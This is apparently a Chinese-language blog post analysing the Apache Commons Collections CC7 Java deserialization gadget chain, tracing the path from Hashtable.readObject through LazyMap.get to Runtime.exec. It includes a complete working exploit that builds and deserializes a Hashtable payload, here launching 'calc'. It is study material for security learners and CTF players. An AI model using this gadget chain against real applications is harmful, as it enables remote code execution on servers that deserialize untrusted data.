java反序列化之CC7

SoloWalker Lv3

java反序列化之CC7

CC7 链分析

CC7 的后半段链子和 CC1 是一样的,前半段先看一下 yso 的链子:

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

入口类是Hashtable,看一下readObject方法的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

在最后调用了Hashtable.reconstitutionPut()方法,跟进一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

根据 yso 的链子就找到了equals()方法,不过也能走hashCode()方法,这就回到 CC6 了。然后找到AbstractMapDecorator这个类的equals()方法:

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

再来看一下构造器:

1
2
3
4
5
6
7
8
protected transient Map map

public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}

接下来就是找 Map 的实现类。在AbstractMap类的equals() 方法中发现其调用了 get() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

CC7 EXP

LazyMap.get() 部分的 EXP

再复习一下从LazyMap开始的 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.get(new HashMap<>());
}
}

结合入口类编写 EXP

先来看reconstitutionPut方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

这里对传入的Entry对象数组进行遍历,并逐个调用e.key.equals(key)。再来联系一下AbstractMap.equals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

如果我们可以控制e.key.equals(key)key,就能控制AbstractMap.equals()中的m

接下来回到readObject方法,再看一次源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

int origlength = s.readInt();//Entry数组的元素个数
int elements = s.readInt();//一个Entry中的键值对个数

int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length]; //新建一个Entry,用来存放反序列化之前的键值对
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject(); //反序列化键
@SuppressWarnings("unchecked")
V value = (V)s.readObject();//反序列化值

reconstitutionPut(table, key, value);//重构整个Entry
}
}

根据我的注释就很好理解这段代码的主要部分了:java 是通过新建然后填充从而实现反序列化的,所以对于一个Hashtable,反序列化是就是先把整个框架搭建好,然后调用reconstitutionPut来填充这个新的Entry对象。然后我们再来关注reconstitutionPut方法中发生了什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}

int hash = key.hashCode();//用hashCode计算一下key应该放在什么位置
int index = (hash & 0x7FFFFFFF) % tab.length;

//遍历这个位置上的链表,检查是否有重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {

//先满足hash相同,然后equals返回true,则认为键重复
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// 没有重复就创建新的Entry并放入链表头部
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

根据我的注释,大致能理解这个函数的具体运行逻辑了。

我们来看一下,如果我们只在Hashtable中放一个键值对,传入reconstitutionPut方法的Entry对象就是空,for 循环根本进不去,所以无法触发equals方法。

如果我们放两个键值对,在第一个键值对传入后e这个Entry对象已经存了第一个键值对,然后第二次调用reconstitutionPut方法的时候tab就有了第一个键值对,然后计算第二个键的哈希,如果第二个哈希和第一个哈希是一样的,就会调用equals

这也是为什么 yso 的链子中会放两个LazyMap且存放在LazyMap的键分别为yyzZ

当我们把两个LazyMap放到Hashtable中后,e.key就是第一个LazyMap,此时就会调用LazyMapequals方法,但是这个方法LazyMap没有实现,所以就去调用了父类AbstractMapDecoratorequals方法:

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

这里调用了map属性的equals方法,关注一下这个map属性,在LazyMap被实例化时已经给map属性赋值了:

1
2
3
4
5
6
7
protected LazyMap(Map map, Factory factory) {
super(map);//给map赋值
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
1
2
3
4
5
6
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}

而在我们构造第一个LazyMap时,第一个参数是一个普通的HashMap,所以就变成了HashMap.equals(lazyMap2)。而HashMap也没有重写equals方法,所以就会调用父类AbstractMapequals方法,所以就变成了AbstractMap.equals(lazyMap2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o; //注意这里!!!
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

此时传入的lazyMap2就赋值给了变量m,在后续就调用了LazyMapget方法,实现了整个链子。

但至此还有一个问题,在 yso 的链子中,还把一开始的yy给删除了。

回到序列化之前,我们要把两个LazyMap放到Hashtable中,代码大致为:

1
2
3
Hashtable ht = new Hashtable();
ht.put(lazyMap1, "value1"); // 第一步
ht.put(lazyMap2, "value2"); // 第二步

问题就在第二步上。

根据上面的分析,Hashtable内部会进行lazyMap2.equals(lazyMap1) 来判断键是否重复,从而触发lazyMap1内部的HashMap比较lazyMap2,从而调用lazyMap2.get("yy")。而LazyMap.get()中有一个逻辑:如果没有这个键,就调用factory.transform(key)并进行map.put(key, value)操作,也就是会把yy存放到LazyMap内部的HashMap中。这样我们的lazyMap2中就有两个键值对:"zZ"->1"yy"->某个值,这样在反序列化重建时,在进行HashMap.equals时会查找lazyMap2,如果不删除,lazyMap2中有yy这个键,此时调用lazyMap2.get时其中的条件map.containsKey(key) == false就不满足,就不会调用到其中的factory.transform(key),这样链子就断了。所以当我们put完成之后,就会删除lazyMap2yy

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class test {

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazyMap1.put("yy",1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap2.put("zZ",1);
//lazyMap.get(new HashMap<>());

Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);

lazyMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}
}

总结

感觉这条链子的各种变量传递很绕,得多看看。这也让我想到一个项目思路:搞一个 java 反编译器,同时能够导出为 maven 和 gradle 项目,这样以后做到 java web 的题目就不用很麻烦的搭建题目环境了,然后再搞一个 java hook,这样追踪变量传递就很轻松了,不用花脑子想半天。

  • 标题: java反序列化之CC7
  • 作者: SoloWalker
  • 创建于 : 2026-05-20 00:00:00
  • 更新于 : 2026-05-24 19:54:08
  • 链接: https://s0lowalker.github.io/2026/05/20/java反序列化之CC7/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论